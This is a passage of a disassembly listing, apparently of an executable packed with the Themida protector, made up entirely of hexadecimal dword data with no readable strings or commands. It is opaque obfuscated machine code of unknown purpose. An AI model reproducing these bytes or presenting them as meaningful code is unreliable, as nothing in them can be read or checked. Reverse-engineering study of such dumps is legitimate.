1709120Eh, 8D8B0C5Ah dd 610208Dh, 11E18D29h, 8B580610h, 102171BDh, 17B58D06h dd 0F06130Ah, 687h, 0C9858900h, 56061030h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 57C35343h, 4841D7B0h dd 0E9A324E9h, 13h, 0DECD67B9h, 362EE697h, 3B114D23h, 146424CCh dd 0FF84D877h, 0D1958BD0h, 8B06100Eh, 10149D95h, 17858D06h dd 8906130Ah, 1009F98Dh, 4788306h, 15850F06h, 8B000000h dd 102A19BDh, 0AB85C706h, 106130Ah, 0BA000000h, 2799B242h dd 32BDBD83h, 0F000610h, 4585h, 0D98D8900h, 83061009h dd 130AABBDh, 850F0006h, 32h, 1CD59D89h, 0BD830610h, 610116Dh dd 1F840F00h, 80000000h, 860F71E6h, 6, 0BB1952Bh, 85C70610h dd 610306Dh, 0 dd 500CD181h, 8C661D16h, 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 51C6BA64h, 38B428BFh dd 0F6F55957h, 840F04C3h, 5F9h, 65ABA66h, 220985C7h, 610h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0B2E6F3C3h, 16280DD3h, 0BF0F723Ah, 1BD80D7h dd 61306h, 1850Fh, 0C6F80000h, 1023E585h, 95894706h, 61005D1h dd 0E45B8668h, 8BF78AE3h, 1029B5BDh, 99B5FF06h, 89061014h dd 10313DBDh, 0D1958B06h, 8D06101Eh, 103A3285h, 0E5BA6606h dd 6AD0FF5Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 8701C352h, 0CA9BD8Bh, 8D8B0610h dd 61009DDh, 10468h, 0BF0F5300h, 9D8D5ACBh, 6103385h, 2359950Bh dd 85890610h, 61021C5h, 0CFB70F53h, 858DD0FFh, 6103385h dd 21CDB589h, 50F90610h, 6830Fh, 8D8B0000h, 6101915h, 5B3858Dh dd 13E90613h, 77000000h, 7399AED2h, 0C808EBF9h, 0BEF60D09h dd 4AB7C5Fh, 0F50E406h, 858DCFB7h, 612FC86h, 0E10EE281h dd 6A502D89h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 5159C356h, 25195FFh, 83F80610h dd 8D8B0CC4h, 6101B79h, 8068006Ah, 6A000000h, 6A006A03h dd 6800h, 858D8000h, 612FC86h, 0F195FF50h, 89061015h, 13059685h dd 0E585C606h, 47061023h, 0B15E8768h, 99B5FFC7h, 8D061014h dd 103A3285h, 6AD0FF06h, 96B5FF00h, 0FF061305h, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8B3B545Fh, 8B6660FEh, 61B589CBh, 61061029h, 37D03Dh dd 53830F00h, 0E9000000h, 0Eh, 8326690Ch, 98DFDC66h, 7C1F66C4h dd 0B5FFADEBh, 6130596h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0DEC35545h, 19D890Dh, 0FF061001h, 10162195h dd 89958B06h, 0E906102Eh, 153h, 295D958Bh, 0B5FF0610h dd 6130596h, 12E9h, 48B4B900h, 0E3DBC3E2h, 70A39D2Fh, 62D9B458h dd 0FFCA335Bh, 10162195h, 0D38B6606h, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0CD950AC3h, 68D0F94h, 60000000h, 61605A57h, 60006A61h dd 0E38A57B2h, 0F006A61h, 0C8Eh, 68D0F00h, 33000000h, 10006195h dd 0FC006A06h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 135F7BC3h, 55A28302h, 81663B8Dh dd 6ACC74D9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0D4E4C2C7h, 6BB16FB8h, 0EE89F72h dd 7000000h, 16F884B3h, 4676F38Ah, 0A8C2231Dh, 19858937h dd 5F06100Bh, 59A858Dh, 50F90613h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0BAC35040h, 0E9B99998h, 0FF44E0B2h dd 1015F195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 9537D659h, 254A6968h, 0C9816692h dd 0F8838F44h, 7C850FFFh, 0F000001h, 68Eh, 499D2900h, 8D06102Eh dd 12C0A585h, 0AE906h, 995E0000h, 75D54383h, 0BA0C54D2h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dword_57D000 dd 190424h, 56460000h, 48B4B9C3h, 6ADBC3E2h, 59B58900h ; DATA XREF: Themida_:0054C91Co dd 6A06100Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0D32AC3E3h, 5D8C5BE5h, 6890F51h dd 0F000000h, 8Ch, 6A5900h, 1C758589h, 6A0610h, 4B2FBF66h dd 8D8B006Ah, 6102E69h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0FD354C3h, 584h, 0E9816600h dd 858DCB0Fh, 613059Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 58C35242h, 800FA536h, 0 dd 501FD980h, 0C99D8960h, 6106101Ch, 15F195FFh, 6A0610h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 893019C3h, 102FBD95h, 0FFF88306h, 55850Fh, 8DF80000h dd 12FFA2B5h, 0FFBF0F06h, 0AB5E858Dh, 6A0612h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0CBF600C3h, 7040C6B2h, 9309C7BAh, 31B58938h, 0FF061005h dd 0D78B66D0h, 0C3B9006Ah, 0FF3DADD6h, 1009AD95h, 0AD8D8B06h dd 89061016h, 13059685h, 9BD0906h, 6A061028h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0ADD2643Ah, 165F30Fh, 1005119Dh, 8E858D06h, 0E9061305h dd 12h, 9B9EAED1h, 6DE361D4h, 9240181Dh, 516132EAh, 66506A28h dd 9529D78Bh, 61000D5h, 958B046Ah, 6100461h, 2955858Dh dd 8D030610h, 6102A8Dh, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 5800F8Fh, 0BA000000h dd 64F070A6h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0FF7DE7C3h, 30A050E7h, 8DD8D8Bh dd 6A0610h, 38A0Fh, 0BF0F0000h, 60016ACEh, 0B58BCF8Bh dd 6101E9Dh, 96B5FF61h, 89061305h, 10123DBDh, 7195FF06h dd 0E906100Ah, 10h, 28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h dd 1BDBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 50CD1962h, 17ABAD36h, 8B66841Ch dd 0E9C08BD6h, 7, 77B88C68h, 837EE41Ch, 10158DBDh, 9750006h dd 95BD83h, 74000610h, 8B535019h, 7D2B8C0h, 85890000h dd 6100E65h, 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h dd 50177400h, 7D2B853h, 85890000h, 6100E65h, 0B5049D8Dh dd 0D3FF0612h, 0B589585Bh, 6102885h, 3101BD89h, 0C08B0610h dd 0C7CA8B66h, 10220985h, 106h, 0B9BD8B00h, 68061011h dd 0CEE4E7B8h, 2E61B5FFh, 858D0610h, 6103A32h, 8589D0FFh dd 6100D5Dh, 7F2858Dh, 8D500613h, 130AAF85h, 1685006h dd 0FF800000h, 100D5D95h, 75C00B06h, 0FD85C70Ah, 106102Fh dd 68000000h, 0C005DBD4h, 2E61B5FFh, 858D0610h, 6103A32h dd 8589D0FFh, 6101451h, 0FA3F858Dh, 0FF500612h, 101499B5h dd 8595FF06h, 0B06100Dh, 8B0B74C0h, 0F2858DD8h, 50061309h dd 858DD3FFh, 61309F2h, 9388366h, 85C70A75h, 61022E5h dd 1, 328195FFh, 0FF250610h, 83000000h, 0A7305F8h, 1AD985C7h dd 10610h, 0F9560000h, 8D9D895Ah, 80061022h, 130601BDh dd 840F0006h, 11h, 0ABBD83F8h, 6130Ah, 10840Fh, 0B70F0000h dd 1A62E9F9h, 0D18B0000h, 0F59BD89h, 0BD830610h, 61022E5h dd 0FB850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 61FCC351h, 0FD6047Bh dd 0BF66FAB7h, 858D6CAAh, 61305CBh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0C0C35242h, 0CBC26C0Fh, 8B92B60Eh dd 958950D1h, 61006D9h, 6AF9016Ah, 25858900h, 6A06100Fh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 8F0F22h, 0FF000000h, 102EC995h, 959D0106h dd 8906100Eh, 1305F585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0B88320DBh, 5C0BAE34h dd 13E9C0h, 0DD700000h, 17DC1EE7h, 2732A817h, 0DFF1A057h dd 0CADBBCC7h, 8BFF6A3Dh, 1031C1BDh, 0F5B5FF06h, 66061305h dd 6EC8E181h, 61595FFh, 89600610h, 100A8DBDh, 89BE6606h dd 858D611Ch, 612FA06h, 4840Fh, 0BA660000h, 0E8606A3Eh dd 5, 0DA761F0h, 35BD89D4h, 5B061009h, 6EDBD89h, 50610610h dd 68A0Fh, 9D890000h, 6102119h, 15DD95FFh, 0B9660610h dd 0B70FF011h, 908589D3h, 890612FAh, 102D0D95h, 13858D06h dd 0B20612FAh, 8D335022h, 6101D55h, 0FA90B5FFh, 95290612h dd 61032C5h, 0D8595FFh, 85290610h, 6101F1Dh, 2169BD8Bh dd 85890610h, 61010A9h, 39467DB9h, 81858D2Ch, 500612FAh dd 0F09BD8Bh, 505A0610h, 0FA90B5FFh, 0FFF50612h, 100D8595h dd 1DB58906h, 89061017h, 12FAA485h, 0A58D8B06h, 8D061029h dd 12FA6085h, 0A9BD8B06h, 50061016h, 0F19D2956h, 5F06101Ah dd 0FA90B5FFh, 0EA810612h, 68BE5359h, 8595FFF8h, 0F806100Dh dd 0FA9C8589h, 0DE90612h, 97000000h, 0A9C94280h, 51C64572h dd 8A60FB07h, 20FDBD03h, 858D0610h, 612FA53h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7C35646h, 85B58960h dd 0F061016h, 89h, 0DE96100h, 65000000h, 0F9F901B1h, 0ED7F1A41h dd 9B03F0F2h, 0FD858950h, 0FF061005h, 12FA90B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 6684A114h, 8B66CF8Bh, 0BACEBFCFh, 95FF11F6h, 6100D85h dd 0FAA08589h, 8D8B0612h, 61013E5h, 0FA6E858Dh, 6A0612h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F544BC3h, 0CA8BD3BFh, 0FFD08B50h, 12FA90B5h, 0FFCF8B06h dd 100D8595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 57657EF5h, 0A244A0Eh, 0A585897Ah dd 0E9061016h, 7, 1DBCB146h, 8D0BD591h, 12FA2285h, 1850F06h dd 0FC000000h, 3FBA6650h, 90B5FFD3h, 660612FAh, 95FFD78Bh dd 6100D85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0E9C35040h, 0DFDB8F6Eh, 0FA948589h, 9E90612h, 16000000h dd 3971145Eh, 0F268B847h, 12E9h, 69D55F00h, 0F246955Dh dd 0F1C7DA1Bh, 31BC2554h, 8D12D169h, 12FA3185h, 0AE906h dd 7ECC0000h, 0BEA18EFEh, 0B58580D0h, 50CEBF0Fh, 13B59589h dd 0B5FF0610h, 612FA90h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 77C35646h, 0D9C197EFh, 5F8797B5h, 8595FFCFh dd 8B06100Dh, 1000B58Dh, 98858906h, 890612FAh, 1021618Dh dd 0D2B70F06h, 10468h, 28858D00h, 8B0612FBh, 1030FD95h dd 8E806h, 0E0610000h, 940FF883h, 0BD8BFC82h, 61009C9h dd 38B2505Fh, 0FC2C858Dh, 890F0612h, 2, 8950D18Bh, 102E59B5h dd 195FF06h, 6A061008h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2261C356h, 0F3BFD1ECh dd 8166EB15h, 856C7DC7h, 6850FC0h, 31000000h, 1014259Dh dd 1BD8006h, 61306h, 13850Fh, 85310000h, 6102205h, 15FBE9h dd 0C4F18000h, 0D9E5FDBFh, 0E5BD8353h, 61022h, 74850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 5B91ABC3h, 0FA2B5098h, 13E8FBh, 0B6BF0000h dd 9439751h, 40B3A326h, 33870BE7h, 0C8539E36h, 5FD68B6Ah dd 83FE8B66h, 130AABBDh, 840F0006h, 69h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 63C35040h, 4C4F9870h dd 12D8D89h dd 858D0610h, 612FAC5h, 359D8960h, 0E9061033h, 11h, 325CBDC3h dd 0DD0B1593h, 0E9933C0h, 0CC7E2AD4h, 49E96119h, 50000015h dd 0DE9h, 64A17400h, 0E3CC28F3h, 20A917EEh, 0E95ADA01h dd 7, 0B0858DF8h, 500612FAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 6DC35040h, 0F4466F97h, 0E8019556h dd 11h, 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh, 0F29D0C0Dh dd 0A1B509C0h, 59061029h, 0FB28858Dh, 0BF660612h, 8D8BB9E3h dd 6102181h, 5E950h, 0EBB80000h, 8377D699h, 1022E5BDh dd 840F0006h, 30h, 2255B501h, 858D0610h, 612FC4Eh, 678FD781h dd 1FE91588h, 0E8000000h, 0Dh, 5D6EC7F1h, 9EB927F4h, 39A8440Ch dd 21BD03F8h, 5A06101Eh, 0FC37858Dh, 8B500612h, 1030BDBDh dd 86858D06h, 6A0612FCh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 6BDEC357h, 3289A5C1h dd 0F3E2585Eh, 13359523h, 6A500610h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 330FC355h dd 95FF72BEh, 6100251h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0DDC35343h, 63A16D1Fh, 5A56CF8Bh, 6A10C483h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 5130C355h, 0C08B7AB1h, 77CA8166h, 8DBD83A9h dd 61015h, 0BD830975h, 6100095h, 50197400h, 0B8C08B53h dd 7D3h, 0E658589h, 9D8D0610h, 612B815h, 585BD3FFh, 95BD83h dd 74000610h, 0B8535017h, 7D3h, 0E658589h, 9D8D0610h, 612B504h dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 89C35747h, 721313BAh, 5E969h, 0CDE0000h, 8B5E9104h dd 5E9C0h, 0B5760000h, 8115C21Eh, 12FAB0BDh, 65726F06h dd 0AE840F61h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0E618C357h, 28342259h dd 0BD0B0C77h, 6102109h, 0FB28858Dh, 8D500612h, 12FC6585h dd 858D5006h, 612FC86h, 5195FF50h, 83061002h, 85C60CC4h dd 61023E5h, 184F6844h, 0B5FF96A3h, 6101499h, 3A32858Dh dd 0D0FF0610h, 858DD88Bh, 612FC86h, 8DD3FF50h, 12FAB085h dd 858D5006h, 612FB28h, 0E5BD8350h, 61022h, 858D0874h dd 612FC4Eh, 858D06EBh, 612FC37h, 86858D50h, 500612FCh dd 25195FFh, 0C4830610h, 0E1B50910h, 89061023h, 100DF19Dh dd 8195FF06h, 8B061032h, 1023F18Dh, 0FF2506h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 464217C3h, 53ED86A1h, 998D2981h, 0E8061011h, 13h, 7D99336h dd 2BADB633h, 0A4B55441h, 4C12631Eh, 0BDEA323h, 101CDD95h dd 0F8835906h, 40830F05h, 31000000h, 10064985h, 0C787B606h dd 101AD985h, 106h, 0CBB96600h, 0BD315282h, 6103115h, 0E4858D5Ah dd 600612FAh, 9953D081h, 9D895955h, 61023ADh, 79E961h dd 0C1800000h, 69958B4Bh, 83061004h, 1022E5BDh, 840F0006h dd 51h, 5E9h, 0E34E4900h, 858DF130h, 612FB0Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 91C35646h, 0C0C5FA55h dd 0F42AF8Bh, 28E9D6BFh, 0E9000000h, 11h, 39832FA9h, 0D1648F11h dd 4A2B4047h, 7AF8285Fh, 0F1858DDBh, 0B20612FAh, 5E935h dd 0C3520000h, 89D5784Bh, 12FB2485h, 87BA6606h, 0E5BD83ABh dd 61022h, 19850Fh, 0BD290000h, 6102ED9h, 0AABBD83h, 0F000613h dd 1184h, 298D2B00h, 0E9061020h, 1158h, 1315958Bh, 79E90610h dd 23000004h, 1030AD95h, 66C08B06h, 2F56F281h, 8309E980h dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h dd 7D4B8C0h, 85890000h, 6100E65h, 0B8159D8Dh, 0D3FF0612h dd 0BD83585Bh, 6100095h, 50177400h, 7D4B853h, 85890000h dd 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6612C3h dd 5FC181F8h, 8B25943Eh, 68CE8BC0h, 0F003Fh, 6D9BD89h dd 6A0610h, 8B006AF8h, 0A995FFF8h, 6A061010h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 6DF2C352h, 85951C56h, 31850FC0h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 909AC351h, 8D03D405h, 6102DEDh, 1EE9BD29h, 0B5890610h dd 61001C9h, 0FAA88589h, 6A0612h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0DA82D2C3h, 69F3D338h dd 0BBF9D53h, 101FB9BDh, 29006A06h, 1007218Dh, 0B1958B06h dd 6A061013h, 89950300h, 6A06100Eh, 8B006A00h, 1009A9BDh dd 66006A06h, 8D0549BFh, 12FC8685h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 8837F381h dd 11540D27h, 0B5893E1Ch, 6101685h, 0A1958B50h, 6A061010h dd 81958B01h, 6A061000h, 66C78101h, 6A65722Eh, 0DB03BF01h dd 0FF682929h, 66000F01h, 0BD83CA8Bh, 61022E5h, 66840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0C2DDC357h, 0FB05858Dh, 0F7810612h dd 386454B1h, 41E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 36A8FB0Fh, 14E9h, 1A101200h dd 41811D8h, 0AAE7E91Dh, 1F6016DEh, 0F82598F6h, 0DB858D51h dd 800612FAh, 8950A3C5h, 100975BDh, 6A5006h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B51C3h dd 61010FDh, 0FAA8B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 57639BC3h, 1F66D3B9h dd 95335A38h, 6100F91h, 68B0Fh, 0E2810000h, 30082ADBh dd 0FA9495FFh, 952B0612h, 61015B5h, 0C840Fh, 830F0000h dd 6, 810Fh, 0C0850000h, 43850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0EA7746C3h dd 0E6271B65h, 0F88B4FBEh, 59E9h, 13E900h, 0FC9C0000h dd 79765CA1h, 0BC293AE7h, 0E2044755h, 0DB44DDE7h, 0AC858972h dd 0F90612FAh, 0FAACB5FFh, 14E90612h, 2A000000h, 841BE467h dd 578A9220h, 0F18ECECDh, 0E3C0AD5Dh, 0FF619A42h, 1016A595h dd 758D0906h, 0F906100Ah, 850FC085h, 6, 0C358D8Bh, 106A0610h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 9C35141h dd 9CE11521h, 0C330C181h, 0BD83171Eh, 61022E5h, 16840F00h dd 8D000000h, 12FB0585h, 0E1816606h, 23E9DA47h, 8B000000h dd 1030A595h, 0DB858D06h, 0E80612FAh, 9, 14A014FFh, 0F6EC19A3h dd 2810F1Fh, 60000000h, 6A505A61h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BDEC357h dd 0A8B5FFF9h, 6A0612FAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 573AC351h dd 0FFD3BF0Fh, 12FAA095h, 39958B06h, 85061029h, 23850FC0h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0A12FC351h, 8198D01h, 85890610h dd 612FAACh, 60CA8166h, 0BF006A24h, 1F3A55F9h, 0B589006Ah dd 61005C5h, 0FAACB5FFh, 0B5890612h, 61030C1h, 0FA9895FFh dd 0C1810612h, 5B91ED6Eh, 850FC085h, 6, 5FDBD89h, 0B5FF0610h dd 612FAACh, 23CD9589h, 95FF0610h, 61016A5h, 11AD958Bh dd 0C0850610h, 6850Fh, 8D8B0000h, 610298Dh, 0BD8B006Ah dd 6102FEDh, 68C8BF0Fh, 80h, 9298D8Bh, 36A0610h, 0E8B9006Ah dd 6A0FDE75h, 0C7816600h, 686444h, 3C00000h, 1009F9BDh dd 8EBF6606h, 24B5FF48h, 310612FBh, 101B9595h, 0F195FF06h dd 6A061015h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 8BD1C357h, 58E0F0Eh, 0BF000000h dd 35FE47D5h, 57AFBF66h, 0FFFF883h, 48285h, 0C99D8900h dd 8906102Fh, 102E01B5h, 9285FF06h, 8B061305h, 10105595h dd 92BD8306h, 2061305h, 389840Fh, 858D0000h, 5B243Bh, 8951D0FFh dd 102DD19Dh, 0AE85F06h, 9D000000h, 52D4A61h, 0F67C1CAFh dd 858D5A6Fh, 5B1E8Eh, 81D0B70Fh, 6DFD82F1h, 6AD0FF61h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0BB7EC351h, 0B0E1E1C0h, 5F059D71h, 3DBA8BB9h dd 8BC08B28h, 1010A58Dh, 0EA816606h, 0BD839838h, 610158Dh dd 83097500h, 100095BDh, 19740006h, 0C08B5350h, 7D8B8h dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h dd 61000h, 53501774h, 7D8B8h, 65858900h, 8D06100Eh, 12B5049Dh dd 5BD3FF06h, 0D59D0958h, 0B106100Dh, 6AC08B14h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 1B4C352h, 559EE0E6h, 0E1816691h, 3F684B06h, 66000F00h dd 6ACE8Bh, 11870Fh, 0CE90000h, 75000000h, 0F52F6BACh dd 4414C3F5h, 6A5AE5F0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0DD4B8657h, 10A995FFh dd 0F88B0610h, 6AC085h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 98AF01C3h, 774DE174h, 81735F9Bh dd 0C88AB2D9h, 0A8858914h, 8B0612FAh, 101B1195h, 1FF6806h dd 0BF66000Fh, 0BD834953h, 61022E5h, 13840F00h, 81000000h dd 0E86A00EAh, 5858D1Bh, 0E90612FBh, 1Ch, 858DB7B2h, 612FADBh dd 0FE9h, 1162BF00h, 46F18902h, 8995AE96h, 0EE5DB842h dd 81666050h, 894AAFEEh, 100E958Dh, 0B5FF6106h, 612FAA8h dd 11A1BD8Bh, 95FF0610h, 612FAA0h, 0BF0FCE8Bh, 0AC8589FAh dd 0E90612FAh, 9, 779D1B4Bh, 19CE9EEBh, 0D85C761h, 6102Ah dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D697C355h, 9AAE9575h, 2D19BAC5h dd 0BD837C4Eh, 612FAACh, 62840F00h, 8B000001h, 10228D95h dd 8A858D06h, 500612FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0DDC35646h, 0ABA71F97h, 9501E5C1h, 6100A29h dd 3C18166h, 8B016ABFh, 0ACB5FFD0h, 0F0612FAh, 688h, 35850100h dd 0FF061016h, 12FAA495h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 5D8BFEC5h dd 70B1600Fh, 0B5FF61F5h, 612FAACh, 79D952Bh, 95FF0610h dd 61016A5h, 0EE9h, 7BE25000h, 522CC7CFh, 0E14DF3D7h, 0FAD5B24h dd 48Fh, 0CCBA6600h, 1FF686Ah, 8531000Fh, 610057Dh, 22E5BD83h dd 0F000610h, 1784h, 5858D00h, 8B0612FBh, 0C4BF66CFh, 2DE974h dd 95890000h, 6103365h, 0FADB858Dh, 0FE80612h, 0AB000000h dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 7E962D6h, 2D000000h dd 3ABD299Dh, 505F7D57h, 2129958Bh, 0B5FF0610h, 612FAA8h dd 845958Bh, 9D090610h, 6101D05h, 0FAA095FFh, 0F520612h dd 8Ch, 85895A00h, 612FAACh, 0A41DB966h, 31599D29h, 0B5FF0610h dd 612FAACh, 810BBA66h, 0FA9C95FFh, 8D8B0612h, 6102D21h dd 0FAACB5FFh, 95030612h, 6100561h, 16A595FFh, 0B70F0610h dd 0F763E9FEh, 0FFF5FFFFh, 1305F5B5h, 0D3B70F06h, 2DB995FFh dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0DDCB47C3h, 2771BD8Bh, 858B0610h, 6100A0Dh dd 13B18D8Bh, 6AE90610h, 89000006h, 1021D5B5h, 0AAB58D06h dd 520612FDh, 15A98D8Bh, 8D5A0610h, 12AB5E85h, 8430BF06h dd 0D0FF23E8h, 295DBD8Bh, 6A0610h, 95FFCA8Bh, 61009ADh dd 8BFABF0Fh, 53006AF3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 7F470679h, 0AE9h, 8BB6A900h, 0E0895315h dd 8DA7D01Bh, 12AB5E85h, 0DAE98106h, 0FF794EBCh, 0A2E180D0h dd 6660006Ah, 0B638D381h, 241D9D89h, 0FF610610h, 1009AD95h dd 1DD98106h, 8B06676Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0F05D12FAh, 0F9BD8BE4h dd 83061018h, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535019h, 7D9B8C0h, 85890000h, 6100E65h, 0B8159D8Dh dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 7D9B853h dd 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0F07F87C3h, 60CD08D6h, 8BFEBF0Fh, 10057D9Dh, 8E96106h dd 13000000h, 5DDB8526h, 8B53C55Fh, 3D8D8BC0h, 5006101Bh dd 0CF20F6BAh, 6AD88B2Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0DC5BC353h, 0DE9h dd 8C20FE00h, 0F2C36B70h, 97CAD5F6h, 53F58C32h, 0CB59D8Dh dd 38B0610h, 438B0389h, 50438950h, 58E9D8Dh, 38B0613h dd 8B5B0389h, 10294195h, 25B96606h, 40EA8128h, 6A41A5A0h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0A398D404h, 858D95FDh, 613058Eh, 3850Fh dd 0B70F0000h, 6A50D7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 6F7895C3h, 8A484CF1h, 0E5B966F5h dd 606AF514h, 7E9h, 56C63000h, 13A8F47h, 0CB5858Dh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BEF8CC3h, 102F91BDh, 0C5B15006h, 830F006Ah, 6, 29499589h dd 6A0610h, 180068F9h, 0BD890000h, 6103109h, 9E9h, 19113B00h dd 795630D2h, 6A539307h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 1500C352h, 0FFF9E88Ah dd 100A7195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 877C5BF5h, 0F7FA2F2Ah, 2ECD9D89h dd 8E0F0610h, 0Ch, 68F0Fh, 0B5890000h, 6101635h, 162195FFh dd 0CE8B0610h, 5F5B5FFh, 6E90613h, 6B000000h, 7FF99F72h dd 0B995FF72h, 6A06102Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 